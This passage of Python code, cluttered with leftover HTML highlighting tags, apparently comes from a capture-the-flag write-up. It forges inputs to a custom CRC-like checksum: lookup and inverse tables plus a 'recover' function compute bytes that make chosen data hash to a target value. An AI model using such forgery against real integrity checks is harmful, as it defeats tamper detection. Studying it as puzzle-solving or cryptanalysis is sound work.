,<span class="hljs-number">0xbe047a60</span>,<span class="hljs-number">0xc9034af6</span>,<span class="hljs-number">0x500a1b4c</span>,<span class="hljs-number">0x270d2bda</span>
,<span class="hljs-number">0xb7b2364b</span>,<span class="hljs-number">0xc0b506dd</span>,<span class="hljs-number">0x59bc5767</span>,<span class="hljs-number">0x2ebb67f1</span>
,<span class="hljs-number">0xb0dff252</span>,<span class="hljs-number">0xc7d8c2c4</span>,<span class="hljs-number">0x5ed1937e</span>,<span class="hljs-number">0x29d6a3e8</span>
,<span class="hljs-number">0x9fb08ed5</span>,<span class="hljs-number">0xe8b7be43</span>,<span class="hljs-number">0x71beeff9</span>,<span class="hljs-number">0x06b9df6f</span>
,<span class="hljs-number">0x98dd4acc</span>,<span class="hljs-number">0xefda7a5a</span>,<span class="hljs-number">0x76d32be0</span>,<span class="hljs-number">0x01d41b76</span>
,<span class="hljs-number">0x916b06e7</span>,<span class="hljs-number">0xe66c3671</span>,<span class="hljs-number">0x7f6567cb</span>,<span class="hljs-number">0x0862575d</span>
,<span class="hljs-number">0x9606c2fe</span>,<span class="hljs-number">0xe101f268</span>,<span class="hljs-number">0x7808a3d2</span>,<span class="hljs-number">0x0f0f9344</span>
,<span class="hljs-number">0x82079eb1</span>,<span class="hljs-number">0xf500ae27</span>,<span class="hljs-number">0x6c09ff9d</span>,<span class="hljs-number">0x1b0ecf0b</span>
,<span class="hljs-number">0x856a5aa8</span>,<span class="hljs-number">0xf26d6a3e</span>,<span class="hljs-number">0x6b643b84</span>,<span class="hljs-number">0x1c630b12</span>
,<span class="hljs-number">0x8cdc1683</span>,<span class="hljs-number">0xfbdb2615</span>,<span class="hljs-number">0x62d277af</span>,<span class="hljs-number">0x15d54739</span>
,<span class="hljs-number">0x8bb1d29a</span>,<span class="hljs-number">0xfcb6e20c</span>,<span class="hljs-number">0x65bfb3b6</span>,<span class="hljs-number">0x12b88320</span>
,<span class="hljs-number">0x3fba6cad</span>,<span class="hljs-number">0x48bd5c3b</span>,<span class="hljs-number">0xd1b40d81</span>,<span class="hljs-number">0xa6b33d17</span>
,<span class="hljs-number">0x38d7a8b4</span>,<span class="hljs-number">0x4fd09822</span>,<span class="hljs-number">0xd6d9c998</span>,<span class="hljs-number">0xa1def90e</span>
,<span class="hljs-number">0x3161e49f</span>,<span class="hljs-number">0x4666d409</span>,<span class="hljs-number">0xdf6f85b3</span>,<span class="hljs-number">0xa868b525</span>
,<span class="hljs-number">0x360c2086</span>,<span class="hljs-number">0x410b1010</span>,<span class="hljs-number">0xd80241aa</span>,<span class="hljs-number">0xaf05713c</span>
,<span class="hljs-number">0x220d7cc9</span>,<span class="hljs-number">0x550a4c5f</span>,<span class="hljs-number">0xcc031de5</span>,<span class="hljs-number">0xbb042d73</span>
,<span class="hljs-number">0x2560b8d0</span>,<span class="hljs-number">0x52678846</span>,<span class="hljs-number">0xcb6ed9fc</span>,<span class="hljs-number">0xbc69e96a</span>
,<span class="hljs-number">0x2cd6f4fb</span>,<span class="hljs-number">0x5bd1c46d</span>,<span class="hljs-number">0xc2d895d7</span>,<span class="hljs-number">0xb5dfa541</span>
,<span class="hljs-number">0x2bbb30e2</span>,<span class="hljs-number">0x5cbc0074</span>,<span class="hljs-number">0xc5b551ce</span>,<span class="hljs-number">0xb2b26158</span>
,<span class="hljs-number">0x04d44c65</span>,<span class="hljs-number">0x73d37cf3</span>,<span class="hljs-number">0xeada2d49</span>,<span class="hljs-number">0x9ddd1ddf</span>
,<span class="hljs-number">0x03b9887c</span>,<span class="hljs-number">0x74beb8ea</span>,<span class="hljs-number">0xedb7e950</span>,<span class="hljs-number">0x9ab0d9c6</span>
,<span class="hljs-number">0x0a0fc457</span>,<span class="hljs-number">0x7d08f4c1</span>,<span class="hljs-number">0xe401a57b</span>,<span class="hljs-number">0x930695ed</span>
,<span class="hljs-number">0x0d62004e</span>,<span class="hljs-number">0x7a6530d8</span>,<span class="hljs-number">0xe36c6162</span>,<span class="hljs-number">0x946b51f4</span>
,<span class="hljs-number">0x19635c01</span>,<span class="hljs-number">0x6e646c97</span>,<span class="hljs-number">0xf76d3d2d</span>,<span class="hljs-number">0x806a0dbb</span>
,<span class="hljs-number">0x1e0e9818</span>,<span class="hljs-number">0x6909a88e</span>,<span class="hljs-number">0xf000f934</span>,<span class="hljs-number">0x8707c9a2</span>
,<span class="hljs-number">0x17b8d433</span>,<span class="hljs-number">0x60bfe4a5</span>,<span class="hljs-number">0xf9b6b51f</span>,<span class="hljs-number">0x8eb18589</span>
,<span class="hljs-number">0x10d5102a</span>,<span class="hljs-number">0x67d220bc</span>,<span class="hljs-number">0xfedb7106</span>,<span class="hljs-number">0x89dc4190</span>
,<span class="hljs-number">0x49662d3d</span>,<span class="hljs-number">0x3e611dab</span>,<span class="hljs-number">0xa7684c11</span>,<span class="hljs-number">0xd06f7c87</span>
,<span class="hljs-number">0x4e0be924</span>,<span class="hljs-number">0x390cd9b2</span>,<span class="hljs-number">0xa0058808</span>,<span class="hljs-number">0xd702b89e</span>
,<span class="hljs-number">0x47bda50f</span>,<span class="hljs-number">0x30ba9599</span>,<span class="hljs-number">0xa9b3c423</span>,<span class="hljs-number">0xdeb4f4b5</span>
,<span class="hljs-number">0x40d06116</span>,<span class="hljs-number">0x37d75180</span>,<span class="hljs-number">0xaede003a</span>,<span class="hljs-number">0xd9d930ac</span>
,<span class="hljs-number">0x54d13d59</span>,<span class="hljs-number">0x23d60dcf</span>,<span class="hljs-number">0xbadf5c75</span>,<span class="hljs-number">0xcdd86ce3</span>
,<span class="hljs-number">0x53bcf940</span>,<span class="hljs-number">0x24bbc9d6</span>,<span class="hljs-number">0xbdb2986c</span>,<span class="hljs-number">0xcab5a8fa</span>
,<span class="hljs-number">0x5a0ab56b</span>,<span class="hljs-number">0x2d0d85fd</span>,<span class="hljs-number">0xb404d447</span>,<span class="hljs-number">0xc303e4d1</span>
,<span class="hljs-number">0x5d677172</span>,<span class="hljs-number">0x2a6041e4</span>,<span class="hljs-number">0xb369105e</span>,<span class="hljs-number">0xc46e20c8</span>
,<span class="hljs-number">0x72080df5</span>,<span class="hljs-number">0x050f3d63</span>,<span class="hljs-number">0x9c066cd9</span>,<span class="hljs-number">0xeb015c4f</span>
,<span class="hljs-number">0x7565c9ec</span>,<span class="hljs-number">0x0262f97a</span>,<span class="hljs-number">0x9b6ba8c0</span>,<span class="hljs-number">0xec6c9856</span>
,<span class="hljs-number">0x7cd385c7</span>,<span class="hljs-number">0x0bd4b551</span>,<span class="hljs-number">0x92dde4eb</span>,<span class="hljs-number">0xe5dad47d</span>
,<span class="hljs-number">0x7bbe41de</span>,<span class="hljs-number">0x0cb97148</span>,<span class="hljs-number">0x95b020f2</span>,<span class="hljs-number">0xe2b71064</span>
,<span class="hljs-number">0x6fbf1d91</span>,<span class="hljs-number">0x18b82d07</span>,<span class="hljs-number">0x81b17cbd</span>,<span class="hljs-number">0xf6b64c2b</span>
,<span class="hljs-number">0x68d2d988</span>,<span class="hljs-number">0x1fd5e91e</span>,<span class="hljs-number">0x86dcb8a4</span>,<span class="hljs-number">0xf1db8832</span>
,<span class="hljs-number">0x616495a3</span>,<span class="hljs-number">0x1663a535</span>,<span class="hljs-number">0x8f6af48f</span>,<span class="hljs-number">0xf86dc419</span>
,<span class="hljs-number">0x660951ba</span>,<span class="hljs-number">0x110e612c</span>,<span class="hljs-number">0x88073096</span>,<span class="hljs-number">0xff000000</span>]
IR = [<span class="hljs-number">38</span>, <span class="hljs-number">103</span>, <span class="hljs-number">229</span>, <span class="hljs-number">164</span>, <span class="hljs-number">160</span>, <span class="hljs-number">225</span>, <span class="hljs-number">99</span>, <span class="hljs-number">34</span>, <span class="hljs-number">107</span>, <span class="hljs-number">42</span>, <span class="hljs-number">168</span>, <span class="hljs-number">233</span>, <span class="hljs-number">237</span>, <span class="hljs-number">172</span>, <span class="hljs-number">46</span>, <span class="hljs-number">111</span>, <span class="hljs-number">188</span>, <span class="hljs-number">253</span>, <span class="hljs-number">127</span>, <span class="hljs-number">62</span>, <span class="hljs-number">58</span>, <span class="hljs-number">123</span>, <span class="hljs-number">249</span>, <span class="hljs-number">184</span>, <span class="hljs-number">241</span>, <span class="hljs-number">176</span>, <span class="hljs-number">50</span>, <span class="hljs-number">115</span>, <span class="hljs-number">119</span>, <span class="hljs-number">54</span>, <span class="hljs-number">180</span>, <span class="hljs-number">245</span>, <span class="hljs-number">83</span>, <span class="hljs-number">18</span>, <span class="hljs-number">144</span>, <span class="hljs-number">209</span>, <span class="hljs-number">213</span>, <span class="hljs-number">148</span>, <span class="hljs-number">22</span>, <span class="hljs-number">87</span>, <span class="hljs-number">30</span>, <span class="hljs-number">95</span>, <span class="hljs-number">221</span>, <span class="hljs-number">156</span>, <span class="hljs-number">152</span>, <span class="hljs-number">217</span>, <span class="hljs-number">91</span>, <span class="hljs-number">26</span>, <span class="hljs-number">201</span>, <span class="hljs-number">136</span>, <span class="hljs-number">10</span>, <span class="hljs-number">75</span>, <span class="hljs-number">79</span>, <span class="hljs-number">14</span>, <span class="hljs-number">140</span>, <span class="hljs-number">205</span>, <span class="hljs-number">132</span>, <span class="hljs-number">197</span>, <span class="hljs-number">71</span>, <span class="hljs-number">6</span>, <span class="hljs-number">2</span>, <span class="hljs-number">67</span>, <span class="hljs-number">193</span>, <span class="hljs-number">128</span>, <span class="hljs-number">204</span>, <span class="hljs-number">141</span>, <span class="hljs-number">15</span>, <span class="hljs-number">78</span>, <span class="hljs-number">74</span>, <span class="hljs-number">11</span>, <span class="hljs-number">137</span>, <span class="hljs-number">200</span>, <span class="hljs-number">129</span>, <span class="hljs-number">192</span>, <span class="hljs-number">66</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span>, <span class="hljs-number">70</span>, <span class="hljs-number">196</span>, <span class="hljs-number">133</span>, <span class="hljs-number">86</span>, <span class="hljs-number">23</span>, <span class="hljs-number">149</span>, <span class="hljs-number">212</span>, <span class="hljs-number">208</span>, <span class="hljs-number">145</span>, <span class="hljs-number">19</span>, <span class="hljs-number">82</span>, <span class="hljs-number">27</span>, <span class="hljs-number">90</span>, <span class="hljs-number">216</span>, <span class="hljs-number">153</span>, <span class="hljs-number">157</span>, <span class="hljs-number">220</span>, <span class="hljs-number">94</span>, <span class="hljs-number">31</span>, <span class="hljs-number">185</span>, <span class="hljs-number">248</span>, <span class="hljs-number">122</span>, <span class="hljs-number">59</span>, <span class="hljs-number">63</span>, <span class="hljs-number">126</span>, <span class="hljs-number">252</span>, <span class="hljs-number">189</span>, <span class="hljs-number">244</span>, <span class="hljs-number">181</span>, <span class="hljs-number">55</span>, <span class="hljs-number">118</span>, <span class="hljs-number">114</span>, <span class="hljs-number">51</span>, <span class="hljs-number">177</span>, <span class="hljs-number">240</span>, <span class="hljs-number">35</span>, <span class="hljs-number">98</span>, <span class="hljs-number">224</span>, <span class="hljs-number">161</span>, <span class="hljs-number">165</span>, <span class="hljs-number">228</span>, <span class="hljs-number">102</span>, <span class="hljs-number">39</span>, <span class="hljs-number">110</span>, <span class="hljs-number">47</span>, <span class="hljs-number">173</span>, <span class="hljs-number">236</span>, <span class="hljs-number">232</span>, <span class="hljs-number">169</span>, <span class="hljs-number">43</span>, <span class="hljs-number">106</span>, <span class="hljs-number">179</span>, <span class="hljs-number">242</span>, <span class="hljs-number">112</span>, <span class="hljs-number">49</span>, <span class="hljs-number">53</span>, <span class="hljs-number">116</span>, <span class="hljs-number">246</span>, <span class="hljs-number">183</span>, <span class="hljs-number">254</span>, <span class="hljs-number">191</span>, <span class="hljs-number">61</span>, <span class="hljs-number">124</span>, <span class="hljs-number">120</span>, <span class="hljs-number">57</span>, <span class="hljs-number">187</span>, <span class="hljs-number">250</span>, <span class="hljs-number">41</span>, <span class="hljs-number">104</span>, <span class="hljs-number">234</span>, <span class="hljs-number">171</span>, <span class="hljs-number">175</span>, <span class="hljs-number">238</span>, <span class="hljs-number">108</span>, <span class="hljs-number">45</span>, <span class="hljs-number">100</span>, <span class="hljs-number">37</span>, <span class="hljs-number">167</span>, <span class="hljs-number">230</span>, <span class="hljs-number">226</span>, <span class="hljs-number">163</span>, <span class="hljs-number">33</span>, <span class="hljs-number">96</span>, <span class="hljs-number">198</span>, <span class="hljs-number">135</span>, <span class="hljs-number">5</span>, <span class="hljs-number">68</span>, <span class="hljs-number">64</span>, <span class="hljs-number">1</span>, <span class="hljs-number">131</span>, <span class="hljs-number">194</span>, <span class="hljs-number">139</span>, <span class="hljs-number">202</span>, <span class="hljs-number">72</span>, <span class="hljs-number">9</span>, <span class="hljs-number">13</span>, <span class="hljs-number">76</span>, <span class="hljs-number">206</span>, <span class="hljs-number">143</span>, <span class="hljs-number">92</span>, <span class="hljs-number">29</span>, <span class="hljs-number">159</span>, <span class="hljs-number">222</span>, <span class="hljs-number">218</span>, <span class="hljs-number">155</span>, <span class="hljs-number">25</span>, <span class="hljs-number">88</span>, <span class="hljs-number">17</span>, <span class="hljs-number">80</span>, <span class="hljs-number">210</span>, <span class="hljs-number">147</span>, <span class="hljs-number">151</span>, <span class="hljs-number">214</span>, <span class="hljs-number">84</span>, <span class="hljs-number">21</span>, <span class="hljs-number">89</span>, <span class="hljs-number">24</span>, <span class="hljs-number">154</span>, <span class="hljs-number">219</span>, <span class="hljs-number">223</span>, <span class="hljs-number">158</span>, <span class="hljs-number">28</span>, <span class="hljs-number">93</span>, <span class="hljs-number">20</span>, <span class="hljs-number">85</span>, <span class="hljs-number">215</span>, <span class="hljs-number">150</span>, <span class="hljs-number">146</span>, <span class="hljs-number">211</span>, <span class="hljs-number">81</span>, <span class="hljs-number">16</span>, <span class="hljs-number">195</span>, <span class="hljs-number">130</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">69</span>, <span class="hljs-number">4</span>, <span class="hljs-number">134</span>, <span class="hljs-number">199</span>, <span class="hljs-number">142</span>, <span class="hljs-number">207</span>, <span class="hljs-number">77</span>, <span class="hljs-number">12</span>, <span class="hljs-number">8</span>, <span class="hljs-number">73</span>, <span class="hljs-number">203</span>, <span class="hljs-number">138</span>, <span class="hljs-number">44</span>, <span class="hljs-number">109</span>, <span class="hljs-number">239</span>, <span class="hljs-number">174</span>, <span class="hljs-number">170</span>, <span class="hljs-number">235</span>, <span class="hljs-number">105</span>, <span class="hljs-number">40</span>, <span class="hljs-number">97</span>, <span class="hljs-number">32</span>, <span class="hljs-number">162</span>, <span class="hljs-number">227</span>, <span class="hljs-number">231</span>, <span class="hljs-number">166</span>, <span class="hljs-number">36</span>, <span class="hljs-number">101</span>, <span class="hljs-number">182</span>, <span class="hljs-number">247</span>, <span class="hljs-number">117</span>, <span class="hljs-number">52</span>, <span class="hljs-number">48</span>, <span class="hljs-number">113</span>, <span class="hljs-number">243</span>, <span class="hljs-number">178</span>, <span class="hljs-number">251</span>, <span class="hljs-number">186</span>, <span class="hljs-number">56</span>, <span class="hljs-number">121</span>, <span class="hljs-number">125</span>, <span class="hljs-number">60</span>, <span class="hljs-number">190</span>, <span class="hljs-number">255</span>]
def forwardpass(data):
v7 = <span class="hljs-number">0</span>
v9 = <span class="hljs-number">0</span>
for i <span class="hljs-keyword">in</span> range(len(data)):
v10 = data[i]
v11 = (v7^v9^v10)&<span class="hljs-number">0xff</span>
v7 = v10&<span class="hljs-number">0xf0</span>
v9 = R[v11]^(v9>><span class="hljs-number">8</span>)
return v7, v9
def mix(data):
v7, v9 = forwardpass(data)
v4 = v9>><span class="hljs-number">8</span>
v5 = (v7^v9)&<span class="hljs-number">0xff</span>
v12 = R[v5]^v4
v13 = R[v12>><span class="hljs-number">24</span>]
v14 = R[(v13^(v12>><span class="hljs-number">8</span>))&<span class="hljs-number">0xff</span>]^(v13>><span class="hljs-number">8</span>)
v15 = R[(v14^v12)&<span class="hljs-number">0xff</span>]^(v14>><span class="hljs-number">8</span>)
return <span class="hljs-number">0xffffffff</span>^(R[(v15^(v12>><span class="hljs-number">16</span>))&<span class="hljs-number">0xff</span>]^(v15>><span class="hljs-number">8</span>))
def recover(num,size,prefix=b<span class="hljs-string">''):
if size<len(prefix):
print('</span>impossible<span class="hljs-string">')
exit()
num = 0xffffffff^num
Hnum = R[IR[num>>24]]
v15 = (num^Hnum)<<8
Hv15 = R[IR[v15>>24]]
v14 = (v15^Hv15)<<8
Hv14 = R[IR[v14>>24]]
v13 = (v14^Hv14)<<8
v13 = R[IR[v13>>24]]
v12 = IR[v13>>24]<<24
v12|=(IR[v14>>24]^(v13&0xff))<<8
v14 = R[(v13^(v12>>8))&0xff]^(v13>>8)
v12|=(IR[v15>>24]^(v14&0xff))
v15 = R[(v14^v12)&0xff]^(v14>>8)
v12|=(IR[num>>24]^(v15&0xff))<<16
v5 = IR[v12>>24]
v4 = v12^R[v5]
v9 = v5|(v4<<8) #provided that the last char must be 0
state = v9
indices = [0,0,0,0]
for i in range(3,-1,-1): #
indices[i] = IR[state>>24]
state^=R[indices[i]]
state=(state<<8)&0xffffffff
while True:
padding = random.randbytes(size-len(prefix)-4)
padding = padding.replace(b'</span>\n<span class="hljs-string">',b'</span>\x00<span class="hljs-string">')
prevc, target = forwardpass(prefix+padding)
res = [0,0,0,0]
prevc&=0xf0
for i in range(4):
res[i] = indices[i]^prevc^(target&0xff)
prevc = res[i]&0xf0
target = R[indices[i]]^(target>>8)
res = bytes(res)
if b'</span>\n<span class="hljs-string">' not in res and res[-1]==0:
return prefix+padding+res
elif len(padding)==0:
print('</span>impossible<span class="hljs-string">')
exit()
'</span><span class="hljs-string">''
res = recover(0xdeadbeef,0x20,b'</span>hello<span class="hljs-string">')
print(res)
res = recover(0xbabecafe,0x31,b'</span>asdhuiqwuen<span class="hljs-string">')
print(res)
'</span><span class="hljs-string">''
'</span><span class="hljs-string">''
X X X X
U1 U1 U1 U1
U2 U2 U2 U2
U3 U3 U3 U3
U4 U4 U4 U4
N N N N v7^v9 = v11